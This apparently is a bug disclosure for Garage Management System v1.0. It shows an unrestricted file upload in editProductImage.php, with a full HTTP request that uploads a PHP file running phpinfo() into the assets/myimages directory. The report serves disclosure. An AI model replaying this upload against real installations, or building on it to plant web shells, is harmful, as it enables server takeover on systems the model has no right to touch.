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Garage Management System v1.0 by Alex has arbitrary code execution (RCE)

BUG_Author: Yc liu & 0xdawn

vendors: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html

The program is built using the xmapp-php8.1 version

Login account: xxx@gmail.com/rootadmin (Super Admin account)

Vulnerability url: ip/garage/php_action/editProductImage.php?id=1

Loophole location: arbitrary file upload exists in Garage Management System's editProductImag.php file (RCE).

Request package for file upload:

POST /garage/php_action/editProductImage.php?id=1 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/garage/editproduct.php?id=1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=m6rramo7f8jalaggbvjh84b1mm
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2213179266536
Content-Length: 432

-----------------------------2213179266536
Content-Disposition: form-data; name="old_image"

shell.php
-----------------------------2213179266536
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: application/octet-stream

JFJF
<?php phpinfo();?>
-----------------------------2213179266536
Content-Disposition: form-data; name="btn"


-----------------------------2213179266536--

The files will be uploaded to this directory \garage\assets\myimages

image

We visited the directory of the file in the browser and found that the code had been executed

image